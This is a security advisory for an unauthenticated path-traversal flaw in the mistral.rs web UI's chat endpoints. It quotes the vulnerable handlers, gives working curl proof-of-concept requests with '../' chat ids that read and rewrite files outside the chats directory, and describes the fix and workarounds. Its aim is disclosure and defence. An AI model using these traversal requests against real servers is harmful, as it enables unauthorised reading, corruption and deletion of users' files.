Description

mistral.rs is a Rust LLM inference engine and server. Its built-in web UI keeps chat histories as JSON files under a chats directory, and the chat endpoints build those file paths by string formatting a client-supplied chat id next to the directory, with no confinement. load_chat and rename_chat at v0.9.3 (mistralrs-cli/src/ui/handlers/api.rs:474 and :489):

pub async fn load_chat(
    Extension(app): Extension<Arc<AppState>>,
    Json(req): Json<LoadChatRequest>,
) -> impl IntoResponse {
    let path = format!("{}/{}.json", app.chats_dir, req.id);
    if let Ok(bytes) = fs::read(&path).await {
        if let Ok(chat) = serde_json::from_slice::<ChatFile>(&bytes) {
            ...
            return Json(chat).into_response();
pub async fn rename_chat(...) -> impl IntoResponse {
    let path = format!("{}/{}.json", app.chats_dir, req.id);
    if let Ok(bytes) = fs::read(&path).await {
        if let Ok(mut chat) = serde_json::from_slice::<ChatFile>(&bytes) {
            chat.title = Some(req.title);
            if fs::write(&path, serde_json::to_vec_pretty(&chat).unwrap())

req.id is raw request JSON. ../ segments walk out of the chats directory, and any path the server user can reach resolves the same way. The read is filtered through ChatFile deserialization, so it returns files shaped like a chat (title, model, kind, created_at, messages); the write re-serializes only those known fields, dropping everything else in the file, so the rewrite is destructive to any structure beyond ChatFile.

Two properties turn the traversal into a remote issue. The UI routes, including all chat endpoints, are registered with no authentication layer (mistralrs-cli/src/ui/mod.rs:217), and mistral.rs has no built-in authentication anywhere. The server also binds 0.0.0.0 by default with the UI enabled (mistralrs-cli/src/args/server.rs:16), which is the natural shape for an inference box on a GPU network.

The same unvalidated id reaches more handlers than the two above: delete_chat removes <id>.json and <id>.session.json (api.rs:460-465), the message append, edit and set-tail endpoints write through it, and the session save and restore handlers build both paths from it (api.rs:759, :773, :794, :807). The chats directory itself is <cache>/chats (mistralrs-cli/src/ui/mod.rs:171), that is ~/.cache/mistralrs/chats on Linux, which is where the traversal below starts from.

Reproduction

From the advisory, verified against v0.9.3 (commit d5ae0f1) with the server running a random-weights test model:

mistralrs serve -m hf-internal-testing/tiny-random-LlamaForCausalLM --port 12801
# ... UI available at http://0.0.0.0:12801/ui

A file outside the chats directory, in the server user's cache directory (~/.cache/mistralrs/leaked_victim.json, one level above chats):

{"title":"secret-project-notes","model":"internal-model-name",
 "kind":"chat","created_at":"2026-09-23T00:00:00Z",
 "messages":[{"role":"user","content":"s3://backup/credentials file follows"}]}

Arbitrary read, one ../ is enough; no session, cookie or token exists to send:

curl -s -X POST http://host:12801/ui/api/load_chat \
    -H 'Content-Type: application/json' -d '{"id":"../leaked_victim"}'
{"title":"secret-project-notes","model":"internal-model-name",
 "kind":"chat","created_at":"2026-09-23T00:00:00Z",
 "messages":[{"role":"user","content":"s3://backup/credentials file follows"}]}

Arbitrary modify of the same file:

curl -s -X POST http://host:12801/ui/api/rename_chat \
    -H 'Content-Type: application/json' \
    -d '{"id":"../leaked_victim","title":"PWNED-BY-TRAVERSAL"}'
# Renamed

Deeper ids such as ../../../etc/... resolve the same way, and delete_chat with a traversing id deletes the target .json (and .session.json) files outright.

Impact

Unauthenticated path traversal (CWE-22) against a critical function with no authentication (CWE-306), reachable by any network peer of the server:

  • Read disclosure of every ChatFile-shaped .json file the service user can read. Chats, notes and export files named *.json anywhere under the user's reach are fair game.
  • Read-modify-write of those files through rename_chat: the attacker controls the title field, and the rewrite drops every field the ChatFile struct does not know, corrupting the rest of the document.
  • Arbitrary deletion of .json and .session.json files through delete_chat.

Because the default bind address is 0.0.0.0 and the product ships no authentication, a typical deployment exposes this to the whole surrounding network, not just loopback.

Solution

Fixed in 0.9.4. Chat ids are validated before any path is built: the fix (EricLBuehler/mistral.rs#2447) routes every handler through chat_file_path (mistralrs-cli/src/ui/types.rs:172), which accepts only non-empty ids made of ASCII alphanumerics, _ and -, and returns an error otherwise:

// ids are server-generated (`chat_<n>`), so anything else is a client
// trying to leave chats_dir
fn chat_file_path(chats_dir: &str, chat_id: &str, ext: &str) -> Option<PathBuf> {
    let valid = !chat_id.is_empty()
        && chat_id
            .bytes()
            .all(|b| b.is_ascii_alphanumeric() || b == b'_' || b == b'-');

Since the server is the only writer of chat ids and generates chat_<n>, an allowlist that strict cannot break a legitimate client. The fix ships with unit tests covering .., absolute paths, separators and other shapes.

For deployments that cannot upgrade past 0.9.3: run with --no-ui, or bind the server to loopback (--host 127.0.0.1), or put it behind an authenticating reverse proxy. Until one of those is in place, assume every peer on the server's network can read and rewrite the service user's ChatFile-shaped JSON files.

Timeline

  • 2026-09-23: Reported privately through the repository's GitHub security advisory (GHSA-9qj9-hhpg-c7xj), found while scanning popular repositories with my static analyzer.
  • 2026-09-24: Fix merged as EricLBuehler/mistral.rs#2447 and released in 0.9.4.
  • 2026-09-24: Advisory published. mistral.rs 0.9.3 and earlier are affected; 0.9.4 is patched.

References